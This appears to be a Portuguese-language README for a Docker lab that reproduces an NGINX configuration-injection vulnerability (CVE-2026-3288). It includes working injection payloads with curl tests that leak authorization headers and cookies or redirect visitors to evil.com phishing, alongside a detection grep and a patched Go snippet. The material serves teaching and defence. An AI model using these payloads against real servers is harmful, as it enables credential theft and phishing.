CVE-2026-3288-lab/
├── README.md                          # Este arquivo
├── docker-compose.yml                 # Configuração principal do laboratório
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # Configuração NGINX vulnerável
│   │   ├── nginx.conf                # Configuração base
│   │   └── vulnerable-config.conf    # Tratamento de caminho vulnerável
│   └── backend/
│       ├── Dockerfile                # Aplicação backend simples
│       └── app.py                    # Aplicação Flask
├── exploits/
│   ├── exploit.py                    # Script de exploração automatizado
│   ├── payloads.txt                  # Coleção de payloads de exploração
│   └── test-exploits.sh              # Testa todos os exploits
├── detection/
│   └── monitor-logs.sh               # Monitora tentativas de exploração
└── cleanup/
    └── cleanup.sh                    # Remove todos os recursos do laboratório

cd CVE-2026-3288-lab

# Iniciar ambiente vulnerável
docker-compose up -d

# Verificar status
docker-compose ps

# Testar se o backend está em execução
curl http://localhost:8080/

# Testar se o NGINX está em execução
curl http://localhost/

cd exploits

# Exploração automatizada
python3 exploit.py --all

# Ou testar exploits individuais
bash test-exploits.sh

# Observar logs do NGINX para exploração
docker-compose logs -f nginx

# Monitorar detecção
cd detection
bash monitor-logs.sh

docker-compose down -v

/api" return 200 "HACKED BY ATTACKER

curl 'http://localhost/api" return 200 "HACKED'

/login" return 200 "Token: $http_authorization

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

/" return 302 "https://evil.com/phishing

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

/" return 200 "Internal IP: $server_addr

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

/" return 200 "Cookies: $http_cookie

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

# Configuração vulnerável
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

# Entrada do atacante: /api" return 200 "HACKED
# Resulta em:
location ~ "^/api" return 200 "HACKED" {
    # A configuração original agora está quebrada
}

# Observar padrões suspeitos
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

# Verificar configuração do NGINX para diretivas injetadas
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

// Antes (vulnerável)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// Depois (corrigido)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

# Verificar logs
docker-compose logs

# Reiniciar
docker-compose restart

# Alterar portas no docker-compose.yml
# Ou parar serviços conflitantes
sudo lsof -i :80

# Verificar se o NGINX está em execução
docker-compose ps nginx

# Verificar configuração do NGINX
docker exec cve-2026-3288-nginx nginx -t